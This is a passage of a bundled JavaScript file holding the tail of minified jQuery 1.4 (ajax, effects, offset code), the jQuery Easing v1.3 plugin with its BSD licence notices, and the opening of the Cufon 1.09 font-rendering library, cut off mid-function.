function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}
function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||
N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&
c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&&
A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept",
e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)?
"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e,
w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=
f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n,
function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/,
W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();
ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&
c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"),
o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a);
else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",
1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,
b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==
null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop===
"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=
this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=
c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=
null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),
f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=
b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)||
0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"),
d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild);
d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop},
bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left-
e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=
this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}});
c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||
e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window);


/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 *
 * Uses the built in easing capabilities added In jQuery 1.1
 * to offer multiple easing options
 *
 * TERMS OF USE - jQuery Easing
 * 
 * Open source under the BSD License. 
 * 
 * Copyright © 2008 George McGinley Smith
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
*/

// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];

jQuery.extend( jQuery.easing,
{
	def: 'easeOutQuad',
	swing: function (x, t, b, c, d) {
		//alert(jQuery.easing.default);
		return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
	},
	easeInQuad: function (x, t, b, c, d) {
		return c*(t/=d)*t + b;
	},
	easeOutQuad: function (x, t, b, c, d) {
		return -c *(t/=d)*(t-2) + b;
	},
	easeInOutQuad: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t + b;
		return -c/2 * ((--t)*(t-2) - 1) + b;
	},
	easeInCubic: function (x, t, b, c, d) {
		return c*(t/=d)*t*t + b;
	},
	easeOutCubic: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t + 1) + b;
	},
	easeInOutCubic: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t + b;
		return c/2*((t-=2)*t*t + 2) + b;
	},
	easeInQuart: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t + b;
	},
	easeOutQuart: function (x, t, b, c, d) {
		return -c * ((t=t/d-1)*t*t*t - 1) + b;
	},
	easeInOutQuart: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
		return -c/2 * ((t-=2)*t*t*t - 2) + b;
	},
	easeInQuint: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t*t + b;
	},
	easeOutQuint: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t*t*t + 1) + b;
	},
	easeInOutQuint: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
		return c/2*((t-=2)*t*t*t*t + 2) + b;
	},
	easeInSine: function (x, t, b, c, d) {
		return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
	},
	easeOutSine: function (x, t, b, c, d) {
		return c * Math.sin(t/d * (Math.PI/2)) + b;
	},
	easeInOutSine: function (x, t, b, c, d) {
		return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
	},
	easeInExpo: function (x, t, b, c, d) {
		return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
	},
	easeOutExpo: function (x, t, b, c, d) {
		return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
	},
	easeInOutExpo: function (x, t, b, c, d) {
		if (t==0) return b;
		if (t==d) return b+c;
		if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
		return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
	},
	easeInCirc: function (x, t, b, c, d) {
		return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
	},
	easeOutCirc: function (x, t, b, c, d) {
		return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
	},
	easeInOutCirc: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
		return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
	},
	easeInElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
	},
	easeOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
	},
	easeInOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d/2)==2) return b+c;  if (!p) p=d*(.3*1.5);
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
		return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
	},
	easeInBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*(t/=d)*t*((s+1)*t - s) + b;
	},
	easeOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
	},
	easeInOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158; 
		if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
		return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
	},
	easeInBounce: function (x, t, b, c, d) {
		return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
	},
	easeOutBounce: function (x, t, b, c, d) {
		if ((t/=d) < (1/2.75)) {
			return c*(7.5625*t*t) + b;
		} else if (t < (2/2.75)) {
			return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
		} else if (t < (2.5/2.75)) {
			return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
		} else {
			return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
		}
	},
	easeInOutBounce: function (x, t, b, c, d) {
		if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
		return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
	}
});

/*
 *
 * TERMS OF USE - EASING EQUATIONS
 * 
 * Open source under the BSD License. 
 * 
 * Copyright © 2001 Robert Penner
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
 */

/*
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version 1.09
 */
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return 